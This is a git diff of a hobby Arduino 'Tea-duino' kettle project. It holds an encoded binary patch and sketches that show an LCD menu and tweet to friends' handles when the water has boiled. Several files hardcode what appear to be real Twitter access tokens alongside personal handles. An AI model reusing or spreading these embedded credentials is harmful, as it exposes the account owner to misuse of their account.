zcmZ{~Wl&sA&@j5VySoJU;O;I#gR{81EfU-{cyO0Ma25%!i@R$GuAAUNlW(8*t?$`bE@XdbWe9r_jLEPmKp*gApihC1-SOq%CpF;R!Xx104k!00Ag6Lo~S|DGj*_TdI+Jf!qi+ox!_MlwB?-={gH!nZ2M~NL5lG>wNI`pAE zTC)!ZV93qV?VglW5B2q)dH>52xO?UDuOQX5P~wiz^+Nv*cN84Xem<={ToqhbE_lx` zlspc)G2_&d>$;K{D};P5EHzVvBlX(+{Br2r6_EYGFXQOz)?Ie?ZohVMA2~KCamV#J zs9LJ0zt9DF|8~&fiff0fPs7b^Y0sj0I|1jbmC!XFIrd+}X;5)7PJnbdOTt&b;lUH1 z>$BTmPpL?FMEU;Cbu$zs&`%F9^l#-3wLubwAAXILx(lA!e1X1lUmtsT@a6t}a0GXm z&jK6V4DwHgrRKn{!jG*+(?7WTD)9+h4Y5(S=4z!v2;I>QV&s=dUtQ@TAr z>VEZUx*LR!`;Fe8?0%5?>X)%&6*#(7{_Cr`rhDE8^%m%LyxhYb9}d%>?kwROuD7OK z^(FI_k0W<`#zb6m;MXz|ZiBx+LVSAFPGXUB)&+Xs97WXnQESs#sIgZG0)F%-37vs_ z`|<2a8=3QWK;mYuI@eW_<4WP>jpDIGWKTNZy^C4zVu`Rsd*>X&AI)y8N+SwbEU zAAmh03e^`6b1~N;ejg&Mn;@}$^)au1FF4R0JYjt3Ug*mZng_#Je|=JEa8xpV5I z>Runp*nB(1*A#_jfN*eyy-Kofz zIGbqvYk;s6Pmt6?AfER7-0@^@hl?_d4?9jd6|d7KLK`1BskwS@Yx38OO=n@FpkJg| z)QG_d-yQZ|lG-m^?SEDk{~&=VbyBp-MOuI9BnMS+r=;S8aM!d_$w@mQSjCzKQxO8~m)^lMUxt7Ri)u{GPJk!q-@;ZbgVzctt zWb_iOpHE=%nIj^16T{nuU|Px$gRcYC&W?M!RD$PV9=IsIPFGazl_ob-V7p@oe%@;4=45X2zd@Ckvb>bic72x=BF;> zM%}?fDj)nQJ&dKr7-V^%x~D*Tm_iO!W4a-!R(*Pts2(xjoDCV90|Pmda>yfX+CGpl z9j|gJ#O&MJ*hNA543!VIM^d4d$ozZciED*?F$c<@q++EW7S@+>ec@Ow6z9mIqr^Bi zR%qj2*zz~;)^*e6cVU{e3*6;alG;uHyN$HvgcNa*EKNX9vpZ-M8Iv4Hi&GCevQF|6 zy(_c4>kYcK%@&I%mtVfd7xYS_vsN4$;Y!&2@+2SeoTkWHG?GtM=p=pp6epy!U_+vV zi2q5uopqNH5sfbg5f1t&YnjRei4n$TiDzG7eX*vz3&NwvDY-?c7G0MM0dPO|HBD2; zVF~v;`Nd>WTWFF_#*ZQSq!#)cOQUQo#zHD1-z`WA_j3DF3fSuAsr;==fe9lf(TXLWXHAQ`5Nf+}`OS)m9TW9k&_`bW%!`Txa$r z?g>aV#uTON^NF_3O;@SaN9_G@zpjm6KHdj-$gqu7WbsqG{T2>n*+HR`b{>}|J$GQO z4qwEtd4MDFuB?t)mkM2Bqm(+xOK#8Vq(%*+$QHB926rGOL<$&=~BxMqpZHo;?=zrzBBwIHa2iY zH!#W<4v8%QP)HH3Kb8($Sq_ZO4QA;Dwll{F6q6ugO;a2Gr70Q+>|>_m_^Tpo_?kfr zYk=Dh2E^4MNxG&-5zDb3=4_h!)a0dyJ&xd;5;OW=@>R2{C|}eIA;K0f$YW{hKPR}hw68(;h2N+CqNz@-*@a3Qc0&e z@AZ_{SoguX!k11Gxm+M~Z~-_!UOHeEzpmR9+Z`k7Bg>216M)yc&*3)X#-C0uSw=S4 zE8WpG9eZ=)2&4N-kzUun`Zzfi#cDOfi~wJO?X6FhBB#c;jCYf?6fgmGc#u8^;9R~R zTT%`zN@`I;A+7ZY{Kc}dEdoXsoConL-L_;w1I}o=bWr#-s8n#Jiu|H(q=u&#(8kz` zio{d}r5K;c`IkX0O8+nhn3Q6(F>Wx5JDsi_ZxYWY74B&JS)4P?-xW=8AKzzp<`aZZ zpL1+pCjCX1k;Re?b^I~FK-<+5-Xxq#^>*%nu;4=FD-o|FB=zt-<*fvs)Z6=&i4_h!}k{HS^TulvsLhUONM{jZL+o#dMm z|7nec9QfOt!s|9)M_!1rCiTaWsf=w;<{x-@`Zpm{r`-2NocIU*zF+0FYPIfroKNOfVDeptw_+XtFcf4@)$6!c__1 zusyRi{&C};ix5nn9?s(o-XE4jKMyo^1}XS39>qW?zf(=Z{0ie&_jgWzB1Z}}mW!)h zk5>G$M8tHDeMG$OipAsUq1q=%`Z&UbBYaXD`LzLy_#`9 z$V)B)X(N5Mu`npbLZ&^LYm@S`g-q3#NYgvs2qckq%EK~eJdSYzCSznT>wR?6)Bvn< zBP6edcvNDWt+TRI5k!m@sE@V}i7Zm?2A5)jq--^99FYb`$>Gd4A7V`KauvQx(^X^PyPs=bREzk zavcWm0_mbIr1Y1DYfq%#Ebx_1T6)5^g8|S+<1DGGL3~itxQul?Zd7XW9}3 zXX>*GhqUgNz#@7Mn=Pb3Sm?t8X9vPaE{nuw8qlwc+?WtSAu#VAb6IvTC9Br^_7F-Ftwoco@^!QpEXLmPcB^PXZgj&`*9*Y>u{<0` z%MmF_FpI_e_TY3Ex%eWejrLuMG=$VhN~KD1W5_4DNcHP?w%;I}SdZORsmEij|Ko~Dl zCCwtO{Ji7!E$6_|Ca7uwZh$TIXB<6=KfrN_Jj_I;OfyU-UK9IU?>A%t3p^`V-6 zR~VDDJQhNY=75jS{lFHM_Y-v^U_P;zT7>LVvrskBr+7O&Hd2{pR3=NR$Z;*NQL6n< zNeaMInF?&~yTG4`?1X{6;3$#+=oTx(p2Cl4wEaK@Y80lM&uw36Z`N~70FoMqHAm&z zQ4vWRz2jhIpYgwMz{C6TiL7l#?i=1T5=Z>_2$qEVOU``rm9)6KU3==+B)LO_L%*K& zNF_Sp<^2G~8uP<+b2LdX42R90!ftf@zLP?6-9k9S^XK-jEYH;{3t!1d!5`8j@R2g7 zRxo-_+2Nd`qT)${d%e7D6{xwNGf(C66woJ(W^RSkH4eYyTxabej?n?{@1-dXs-LG9 zqO<>l?XqXP8=bpvY-_&y0-t&*_M@omGErl)&+t7@f+*zK>e4#+K8&2s^3vA4@gpYi z9?R(?%_@UV!RU&eQ;it4^WSm&?rMV|+_Pc!zA5ifB6LYU^*spi1%$5c-|T0U{vBAK z4Oj{s+ti&8)OOIhIGa4<`BiZ*d}G{5t@V!bQmpMRp~HPSJ-F@Ly-zoD#m*fRN^&zq zDYBDsE75rOGcDF2Fxx(fT`!Qyf9Rs;0ZN#6CHlLC(6dcc^Px<_$N(?03!VKdF%#Uo zf-^=B>)i1lT0A84IVJMi)RmUfsA9!UdG`4v`dMZ)6um%>3=+mJ3hXn-7tY)ZB@GR zN2-iK=PXct`p-t}RNA15M8!|_AD4~4eO-_{2^-o)Nl#I(&d2w!ITAT&p5Rj9tlh%2 zp(*_6lzV{D*oy7qMt~etA*LN;U_2Jn#+BKpJX`vTpJCaal!lfusVUYktJ2Ey4F{}p zri8Xwr;aDm_<$fYbww0kVjJ}j3g8}&4g41oc>TxlwT9jx&pd83MiCNShI*4er>oFA z!{yi~SoU3ZW=%-LztYdbyMXzp+)g}e1MobJ&xU7|iG8?9b+zhF#-t5#rTSI1!k6f? zvWMzqdrD0kRDZioHDUxQlq9G+@!;S(d5&BO6Orjs$)v_#d}gaTc%?Z&1?}Vc&!?RR z%A+poky;K-O2&LM9V6G)>r*9Z+T@~&FCwc~Wfud-!mb0cT?C$)A;^g5JS9D+WD&;A z6PxcxzEOEtZ*POlM_X^&U*cj~SYxw+TKl^(_tFbi9Z@7Vc=hS$i_QnfME7K_HhpI? zTK>w`@-}bE#28}{fvGs|a23fvU}J&V@&@d-rj{;KESCN=z7}HP?=exs%OGy74f?C! zpM|q2eVJ=H%OTdHL&Y6rP6j5XevIVJwELO!K2e|DWiBB4TW%1uZm*K0uE6Gx?MLuH z<};hl8C)`}+Z61M+QNIbxtS)%phujK=0bD@>Y| zNgw?nSZYNNLAR>01s<`F;#As~CcKHn3 zE!D8yvSxyhOLi>z(cRO9x1qB9r2=;+#ixI5lVgZaPVhLS)bYHZ zR69qTS^mqW5~8ly-U?gg;gp)h$A0AlPZd~{4GYX3>GWF{)dd`M5?34nWp+cHO%kLpXome zhfct%YtQBqa)o1t~j|h(`DS)8yjZ>!HKs`U{nCi z5xiPy? zyfZ~xvdAlOq=^e2kJknJC+!7&lsg0Fq3^4Qav4E;khO3q;m~QvL$yOaK}#)x;;8ReiX^N2?5yvi~ev#72qj3GMzQ^5x{?ErQO7Hts!@P+W}2y!D9 zvX^mBi>>j{HujB@#PbK|n|4*mZSeB}*%2+OaZIDm1Gn&>niQsBYtog$V6!yghQjl6 zt0uwFz*m;Ui4Fjq8kOY5b&IKIC7iIX-rmYCjAad1Xerqz7&LxUa3V(bWKgGnIRGW2 zQ9s>DzXHf%pOZbQzU%}BC+Xit_1l;4CL3Qcno2IU1EJ^`&>g;)o=VVpNpw%8e8_~* z6F`|#@^}@&(X@7%cY+M)4%2>GEE?B~c;TMoNf>nR+)K|CAD6`A&d)uZEARIX!x854 z&ru@~Id$Ma;`5U`vl?GU9j0S_uA3GR7P<1T30N5{c*6z9KIR^Ml@42JrnGL#0cw;XKp08$35X7cH4O&k@ewQchqkAqVBFC|-sZn{y z&OJDA9jnRR!(nOaJUzu=?tcc;&uE^Y&wEEI!(-hr@#~u{SDee{A$D@LK(r5dt>Ui3 zCZ9PAZCUz0h$Lt_a9;Qt{EzVrEIEW+X*afTG81j$v#;HsDtRqL%rQ-p$qUsq*rqCr zHW5WCLkJZm&yi9^gO)Fh9m|=|Y}18$?nIjkr70!PeP<3WWy2s%d7qk=@+Hu{cv(>6 zKZG&(XwD#lM~|ubm4#dR+pq8)6iPz^n) zwiqGqc02%7$R!^@(HsjIsF%4+J-@`73Wo?J4?&ftmeRKh$mF8*yeHzeuQ5vC)Hy3& zIn=q~Cynt%miS33_ZGFUE|mR-jqW76a0~yXQ-5%Pc8RAn2W@((`%O9h&U6gl?0AD; zLVAjJSYG~p@)G;^=uwz|wEyQNc($O^h}4GaRQ#g7cFmqb!EkPr_bV`|#bcjwo!@-t z@7bt9C}Py9=)Oh%Ek-rkbBCA~7}q67@3Ye-?lP*Iyr^I6Cb};K&s`AhyMrgR8Wdk^ zUGB_A%-Il`_t%1Z`Di6Q-Unb1f{B@9zJ=j!gEM_-@X4}45<6Lth27W`MF5;5JV}mu z6=z3Gpd@ll&O6ODQ*MNrD~z8QFQ;F$$y-5?n2TV9c&j-(P>`AfZ--48;?BKnDMCLq z@bENK65`0cYW#mCv<_fu(fGZt<2t73|!70;POusOJUbiVm*7taej&YI0J7?Z52x$s|}q-K%5>g z6&Ci`O;@jJB|29Hp+pvVg~dY-wT~SK4#WSg0ds0)DO*J=h%=PPoDyVe<(%FJWJbn% zOhg(|VslGjiPYX^MUc%4+EZtiBF|Da%WYU<3NCLmR^uI>@pt(D(#GSmTeIObHjQnC z{H<(Rij2|vO1)jmi?Qx&91oe+o(Pan&3)ILBQi;i^L;u^nEynY)Q8j5;k~b(vS_$? zubd#W#1|@Rk4}VWE)B8iFO)^y;AMgarJ6MW#&D_>hrz5~EgYc&+-)#&mw2?l91bJE zuMTX6TmlDmNrCf_?%uQnP|i0zkN{9xYj==J?nHe$+W-tnW>9v(XC6~18^DpLds7EM zILbAXi}8jyfENSaL8MK#GcZ958(Ocl>XU5{;ve;BPXvgUaDG^Exu65!IOG?HyHX(n zuEAg^g0!WJXS0pTZ-9T&-lEOB2zJc^C^oepQDQ0ht!JdLcbEp< zNCOC)rAiihxy}PQ!rhxJfNcv;8G2TSFquJB71YkQDY{7>iY_3!R=EFd3i~!*RP7qz203v{Y%cG3~&{}%w#0~He zHc=;YEd&6xV`^OiC0Mrh`2ZMht3?NAI6xeKLH)nq!8|nI{;omZ1ZZ5p7B6*AxV@JM zy_UjK2ENY4alie(Ib>DW|3h+&K&a}|{zyZ;Jp1JzLe%C8G5}BtYC{4@SDU%QH^q`8 zPZBfRx3|HCMYq%@0|1LLwe=hX-|116Z(h>wPsC zzla&5m~BT2Lv4c?<+&!q(aO5sE;ZE)09cAZ?IHl4OwNX67iSzmnviLpzkDiEBA64N zRu<}z0Wjo;I_1N_n7s11I1>U=1x;Ov0C-NZ)G^vSJqU=C4eb~J;Sw`fQdnnVXL-FX zfa8}(nJ!)cA|Iq|{y4{vOM;Biaab3`}E(ZkBH?M={0 zN#|qp(8ZmouKZ)|4|XA+qTMAZxW8=e*obIg{62D@Fb@vR|I7a=d$t%S)XZg3=selL zcI`beZas7N++1uZnfoI2JcLi9@W!W`wcftMpiM~{#n$G7sO^hb?(P{IvF|3^3Biz!ruCTp_8v2| zt$*rx#WU%97Hvi9Bw`x_R>I$NQB&GVrUSTxLYWvQ%?sW z3%+HtEY^S2dY7t26R0X)6`LpFBsQN(?MHPQIq`!}T>CX#S=wd|ZGwgc^Wr-K#EZm> z&5uFmHAhtTso3)TGzv(hph?A;FQ)aM->5>xNigk#va|B7{X!pQRC$^QSr!g|3&D2! znjc+5R}tmv8*ShaEKM8E;{w?H&{gf~<;Tj%wj?3V+HVbIWs`E!d7|TdGaTsr5)zk2 zt5#Q&eyw~Zpn+epZYcOsB>OS{1D?WiV*g~ry<_~9f0+ZAZ(nm2c_@-R^Kr`FtBxnb zI?&ialNM)5L>6g5x$2sCK0|rK&fcb^kYOP1sf-|a~YA;A=G{D#3(phGe z%H46ha_r_2OPKM4uHbr$ivC9FZr3pl8W<#i^KCt4(9lC!h$M<+>h((kK}T}!3+UZfhU540M#44`; zO>J@mp|{tD%pgwdB#EpuX}cDgbn|>3d=Pi`-q?(OzimtBWM|%P< z(?^AW(zzxt8jx3X6MHPkKZzsvPNGp}!v>q8XpJ60kovo2{wc|tp%Z9H?3zTQL|J^GIHFbvER2pTF#7crlaJNC z+6Zx!pc{_u%1xg+?ioz~#D9Vdq4Ax@bDoWRgU2Z1baDZip61Rh0O;Cm{ZH-*MT z;6>*PN%y-Lshg5hp?{CrP2x-Q+uHFY#=aX%?1XFWF zkMYM^Kr59jp=<>#^L)bO&v8Y}$)fpGB!PB`s?w;vz|NtI-iH~_Z(-Oz%w^x*dX+3W zvpsqwkb0HWAEqk;-^5knN9h#?laMzuzu9pv@t|pyiP?R&Q6rMa?++7AHFYlZ<;PGw(!AMP=MsKcAky;_L75x}sRNKZM4z;kQ)Zqd6W0TL z8cc*`@el*YFLnXxkphqH+H%E@5$V1yig@XDVw*)}b$sNbQxy0IZY^9K<6VdtAIEy@ zBKQAZw=~RrS=t)~u3|aan!WxcU&PeenxQNW+8iaI8Aq5P2d+(VoCGgZ87>r)%J$V_NoM zPpO@&$~))783M${>MWt&p~x{Z;NJZRnL+i{vpqWZ@68T^xS^?TYUO>WBPtZ)VHj&7 zdaRk8e<_zG7Of;yumzX3pFX)9ULg4YmotK@_J8MMUUKfv2(JQeVL7!@1*(%h(%RB0 zkO9}>7%;gn1L>1$2|&F|Q3k%S)pP89G{eE%YyGwr=goPX=);#&uSl9UQ4uB2Kw_-u8G>W^#lE1~-8#r4#RS2kC4SK$9sFEShW?|5a*0K>B<<#&kx z)Ah<02{-SGK+Y}~Vm04&GjO6qKeku)B+J5#1z+un=)6c56@{{P^Sd^OL8fD8>;KE5 zrob$!=l@#N77wGp;rA5J2=tNz4ARXm#NJ9R&vsp*Du>#64xR-RyB*Y@Cf|}GQ6X#} zR1g&RM^}pe?DlC$`F^iitA%*|K^z+I^T`MyIOv@!dKpg9l9p`<9VDB(aS6KeE2_Z#KD zM=1T=?TPtYdQ!?nW_z@s%jBiLFYm?NRHTVJ>hHaQBzLRCjMk~~@8w5AXC-}WGItvu; zBKU}lRpBd+V!Y^jcop?A+1|VYg?hll9 z+STh^Ni#7A+-2uOv(fO%vC^{m9!J?jo}{U#{whl80M^wZyfme6Yu-^vIp$eK&Rr}k zi3t1cO$`pqyg?eHf9Pz9>=CfE^siwCz9oUcilBFt9h0}FZd7Nk7~2u zME2etN!&re_nDTaKhbxO?{D<>5)6Z^fSxIsd%6i*9R#RDe*$_rL`*v>GB%0REB>=j z6$dd4g=Hq4SFS~(U*bi+EH7}CKDnuGGA51LFMHD-I}ocRdwq;u^CmLk8W^s_K4f3< z7S<$M0k>`1hI;*;Lw))vMynH@?VW9(;GE^%ix*|!4O7V1pDWw8oqJs?lt{!SFgz#% zN^%)yX5J*mWvtmN$j3Yh@S`_vq}sTN$uIMilz-d!`U%D7D}6mJIReqtmK}?66JuQy z9lT9{rtlo35TK4+bi2IVFYE|YmauWjQdH^ha!DBtIBfV5f-u`@S|_j4n~E6ngsuE~VbZg@;iVeR_tcSm zKlAoYd{fHTKg|!8s}<=P@3uNVRX8W3#caHTVR#&3?`1zqI3U~|c5Yq*H>Vr!zMcJp v(^7+j2LS&6t1e-MmjJl`UjOs_f7f7YsUg7vz5m9+0pwv{A6V5U0PueRex_ed literal 0 HcmV?d00001 diff --git a/Projects/Tea-duino Main/SimplePost/SimplePost.ino b/Projects/Tea-duino Main/SimplePost/SimplePost.ino new file mode 100755 index 0000000..edcc0fb --- /dev/null +++ b/Projects/Tea-duino Main/SimplePost/SimplePost.ino @@ -0,0 +1,60 @@ +#include // needed in Arduino 0019 or later +#include +#include + +// The includion of EthernetDNS is not needed in Arduino IDE 1.0 or later. +// Please uncomment below in Arduino IDE 0022 or earlier. +//#include + + +// Ethernet Shield Settings +byte mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; + +const int buttonPin = 9; +int buttonState = 0; + +// If you don't specify the IP address, DHCP is used(only in Arduino 1.0 or later). +//byte ip[] = { 192, 168, 2, 250 }; + +// Your Token to Tweet (get it from http://arduino-tweet.appspot.com/) +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); + +// Message to post +char msg[] = "@KevinMidboe Vannet er ferdig!"; + +void setup() +{ + delay(1000); + Ethernet.begin(mac); + // or you can use DHCP for autoomatic IP address configuration. + // Ethernet.begin(mac); + Serial.begin(9600); + Serial.println("Ready!"); + pinMode(buttonPin, INPUT); + buttonState = LOW; +} + +void loop() +{ + buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Serial.println("connecting ..."); + if (twitter.post(msg)) { + // Specify &Serial to output received response to Serial. + // If no output is required, you can just omit the argument, e.g. + // int status = twitter.wait(); + int status = twitter.wait(&Serial); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } + delay(1000); + } +} + diff --git a/Projects/Tea-duino Main/Tea-duino 2.0.pde b/Projects/Tea-duino Main/Tea-duino 2.0.pde new file mode 100755 index 0000000..0dff1f0 --- /dev/null +++ b/Projects/Tea-duino Main/Tea-duino 2.0.pde @@ -0,0 +1,315 @@ +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *menuTree[] = {"mainMenu", "Users", "Add user"}; +char *mainMenu[] = {"Choose user", "Add user"}; +char *twitterHandles[] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@Odinbn", "@Hozar132"}; +char *itsDone[] = {"Vannet er ferdig!", "TEATIME!", "my Man, the water is done!"}; + +char *errorWhereIsBoiler [] = {"Sett vannkokeren", "pa knappen."}; +char *startWaterMessage [] = {"Skru pa vannet!"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +Twitter twitter("2307428619-TIM5H7Lh6L9HrrQLMynR5cinWpNbiUTt2827myM"); +byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; + +const int buttonPin = 3; +int resetPin = 9; +int buttonState = 0; +int UD = 1; +int LR = 1; + +boolean movedDown = false; +int upDownCount = 0; +int menuSelector = 0; +int mainMenuController = 0; +int animationSelector = 2; + +char* username; + +int lengthMainMenu = sizeof(mainMenu); +int lengthUserMenu = sizeof(twitterHandles); + +void setup() +{ + pinMode(resetPin, OUTPUT); + + lcd.begin(16,2); + Ethernet.begin(mac); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); + + pinMode(buttonPin, INPUT); + + upDownCount = writeMainMenu(movedDown, upDownCount); +} + +void loop() +{ + while (menuTree[menuSelector] == menuTree[0]) + { + delay(200); + LR = analogRead(A0); + UD = analogRead(A1); + if (UD == 0) + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeMainMenu(movedDown, upDownCount); + } + if (UD == 1022) + { + movedDown = true; + upDownCount = writeMainMenu(movedDown, upDownCount); + upDownCount++; + } + if (LR == 0) + { + menuSelector = 1; + upDownCount = 0; + upDownCount = writeUserMenu(movedDown, upDownCount); + delay(400); + } + } + while (menuTree[menuSelector] == menuTree[1]) + { + delay(200); + LR = analogRead(A0); + UD = analogRead(A1); + if (UD == 0) + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeUserMenu(movedDown, upDownCount); + } + if (UD == 1022) + { + movedDown = true; + upDownCount = writeUserMenu(movedDown, upDownCount); + upDownCount++; + } + if (LR == 0) + { + username = twitterHandles[upDownCount]; + buttonState = digitalRead(buttonPin); + if (buttonState == LOW) + { + lcd.clear(); + lcd.write(errorWhereIsBoiler[0]); + lcd.setCursor(0,1); + lcd.write(errorWhereIsBoiler[1]); + delay(2000); + upDownCount = writeUserMenu(movedDown, upDownCount); + } + else + { + checkWaterON(username); + } + } + if (LR == 1022) + { + menuSelector = 0; + upDownCount = 0; + upDownCount = writeMainMenu(movedDown, upDownCount); + } + } +} + +int writeMainMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(mainMenu[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + } + return i; +} + +int writeUserMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1,1); + lcd.write(twitterHandles[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(twitterHandles[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(twitterHandles[i + 1]); + } + return i; +} + +void checkWaterON(char* username) +{ + lcd.clear(); + lcd.write(startWaterMessage[0]); + delay(1500); + + buttonState = digitalRead(buttonPin); + if (buttonState == LOW) + { + waterOnAndTweet(username); + } + else + { + checkWaterON(username); + } +} + +void waterOnAndTweet(char* username) +{ + buttonState = digitalRead(buttonPin); + while (buttonState == LOW) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(animationSelector); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(animationSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animationSelector++; + delay(1500); + if (animationSelector == 6) + { + animationSelector = 2; + } + waterOnAndTweet(username); + } + if (twitter.post(username)) + { + int status = twitter.wait(&lcd); + if (status == 200) + { + waitForPickup(); + } + else + if(status == 403) + { + lcd.clear(); + lcd.write("Duplicate tweet!"); + lcd.setCursor(0,1); + lcd.write(status); + delay(65000); + twitter.post(username); + + // int status = twitter.wait(&lcd); + // if(status == 200) + // { + // waitForPickup(); + // } + // else + // { + // waterOnAndTweet(username); + // } + } + } +} + +void waitForPickup() +{ + buttonState = digitalRead(buttonPin); + while (buttonState == HIGH) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(6); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(6); + lcd.setCursor(10, 1); + lcd.write(1); + + delay(1500); + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(7); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(7); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1500); + waitForPickup(); + } + while (buttonState == LOW) + { + lcd.clear(); + lcd.write("RESET!"); + digitalWrite(resetPin, HIGH); + delay(3000); + } +} \ No newline at end of file diff --git a/Projects/Tea-duino Main/Tea-duino.pde b/Projects/Tea-duino Main/Tea-duino.pde new file mode 100755 index 0000000..c39d042 --- /dev/null +++ b/Projects/Tea-duino Main/Tea-duino.pde @@ -0,0 +1,284 @@ +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *mainMenu[] = {"Choose user", "Add new user"}; +char *twitterHandles[] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@OdinBN", "@Hozar132"}; +char *alphabet[] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", + "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", + "4", "5", "6", "7", "8", "9"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + + +//byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); +char message[] = "Didn't have anyone to send to... :("; + +const int buttonPin = 9; +int buttonState = 0; +int animatorSelector = 2; +int UD = 1; +int LR = 1; + +int i = 1; +int j = 0; +int k = 0; +int lengthMainMenu = 2; +int lengthTwitterHandles = 5; +int lengthAlphabet = 36; + +boolean boolMainMenu = true; +boolean boolTwitterHandles = false; +boolean waterBoiling = false; +int selected = 0; + + +void setup() +{ + lcd.begin(16, 2); + + pinMode(buttonPin, INPUT); + + //Ethernet.begin(mac); + + lcd.write("Ready!"); + delay(1000); + lcd.clear(); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); +} + +void loop() +{ + while (boolMainMenu == true) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 1022) + { + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + selected = 0; + } + if (UD == 0) + { + i = 0; + lcd.clear(); + lcd.setCursor(1, 0); + lcd.write(mainMenu[i]); + lcd.setCursor(0, 1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + delay(800); + selected = 1; + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 1022) + { + if (selected == 0) + { + boolMainMenu = false; + boolTwitterHandles = true; + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1, 1); + lcd.write(twitterHandles[i + 1]); + } + else + if (selected == 1) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 1022) + { + k++; + if (k == 37) + { + k = 0; + } + } + if (UD == 0) + { + k--; + if (k == -1) + { + k = 37; + } + } + + lcd.clear(); + lcd.write(alphabet[k]); + lcd.write(alphabet[k + 1]); + + /*for(int k = 0; k < lengthTwitterHandles; k++) + { + + }*/ + + if (LR == 0) + { + //Save the typed-inn name + //Add @ to the name + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + } + } + } + } + + while(boolTwitterHandles == true) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 0) + { + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + i++; + if (i 